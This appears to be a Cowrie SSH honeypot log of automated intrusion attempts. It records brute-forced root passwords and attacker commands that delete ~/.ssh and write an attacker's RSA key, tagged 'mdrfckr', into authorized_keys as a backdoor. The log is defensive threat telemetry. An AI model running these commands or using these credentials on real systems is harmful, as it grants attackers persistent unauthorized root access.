{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:29.629088Z","src_ip":"38.19.156.18","session":"39c11c23f1a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:29.732608Z","src_ip":"38.19.156.18","session":"39c11c23f1a3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"%TGB6yhn","message":"login attempt [root/%TGB6yhn] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:30.174285Z","src_ip":"38.19.156.18","session":"39c11c23f1a3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:30.457562Z","src_ip":"38.19.156.18","session":"39c11c23f1a3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:30.461161Z","src_ip":"38.19.156.18","session":"39c11c23f1a3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:30.465214Z","src_ip":"38.19.156.18","session":"39c11c23f1a3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:30.571915Z","src_ip":"38.19.156.18","session":"39c11c23f1a3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:30.973483Z","src_ip":"38.19.156.18","session":"39c11c23f1a3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:30.977747Z","src_ip":"38.19.156.18","session":"39c11c23f1a3","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:31.085965Z","src_ip":"38.19.156.18","session":"39c11c23f1a3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:31.090140Z","src_ip":"38.19.156.18","session":"39c11c23f1a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.19.156.18","src_port":50076,"dst_ip":"10.17.0.5","dst_port":22,"session":"b90a9c811518","protocol":"ssh","message":"New connection: 38.19.156.18:50076 (10.17.0.5:22) [session: b90a9c811518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:31.186255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:31.190883Z","src_ip":"38.19.156.18","session":"b90a9c811518","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:31.294534Z","src_ip":"38.19.156.18","session":"b90a9c811518","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:31.736645Z","src_ip":"38.19.156.18","session":"b90a9c811518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:32.842509Z","src_ip":"38.19.156.18","session":"b90a9c811518","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.19.156.18","src_port":50362,"dst_ip":"10.17.0.5","dst_port":22,"session":"46765d16e74f","protocol":"ssh","message":"New connection: 38.19.156.18:50362 (10.17.0.5:22) [session: 46765d16e74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:32.944371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:32.948874Z","src_ip":"38.19.156.18","session":"46765d16e74f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:33.054507Z","src_ip":"38.19.156.18","session":"46765d16e74f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:33.496631Z","src_ip":"38.19.156.18","session":"46765d16e74f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:33.601447Z","src_ip":"38.19.156.18","session":"39c11c23f1a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:33.606976Z","src_ip":"38.19.156.18","session":"46765d16e74f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":55868,"dst_ip":"159.203.135.109","dst_port":22,"session":"505efeab1d33","protocol":"ssh","message":"New connection: 103.170.173.26:55868 (159.203.135.109:22) [session: 505efeab1d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:25.619140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:25.623369Z","src_ip":"103.170.173.26","session":"505efeab1d33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:25.898665Z","src_ip":"103.170.173.26","session":"505efeab1d33","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"arcsight","message":"login attempt [root/arcsight] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:27.031132Z","src_ip":"103.170.173.26","session":"505efeab1d33","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:27.616861Z","src_ip":"103.170.173.26","session":"505efeab1d33","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:27.619750Z","src_ip":"103.170.173.26","session":"505efeab1d33","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:27.623640Z","src_ip":"103.170.173.26","session":"505efeab1d33","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:27.902025Z","src_ip":"103.170.173.26","session":"505efeab1d33","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:28.480483Z","src_ip":"103.170.173.26","session":"505efeab1d33","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:28.482881Z","src_ip":"103.170.173.26","session":"505efeab1d33","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:28.761708Z","src_ip":"103.170.173.26","session":"505efeab1d33","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:28.765803Z","src_ip":"103.170.173.26","session":"505efeab1d33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":56135,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a0473b1e277","protocol":"ssh","message":"New connection: 103.170.173.26:56135 (159.203.135.109:22) [session: 2a0473b1e277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:29.008250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:29.012480Z","src_ip":"103.170.173.26","session":"2a0473b1e277","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:29.271296Z","src_ip":"103.170.173.26","session":"2a0473b1e277","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:30.338536Z","src_ip":"103.170.173.26","session":"2a0473b1e277","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:31.600647Z","src_ip":"103.170.173.26","session":"2a0473b1e277","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":56421,"dst_ip":"159.203.135.109","dst_port":22,"session":"79bb85a91da0","protocol":"ssh","message":"New connection: 103.170.173.26:56421 (159.203.135.109:22) [session: 79bb85a91da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:31.870252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:31.876835Z","src_ip":"103.170.173.26","session":"79bb85a91da0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:32.143566Z","src_ip":"103.170.173.26","session":"79bb85a91da0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:33.244736Z","src_ip":"103.170.173.26","session":"79bb85a91da0","protocol":"ssh"}
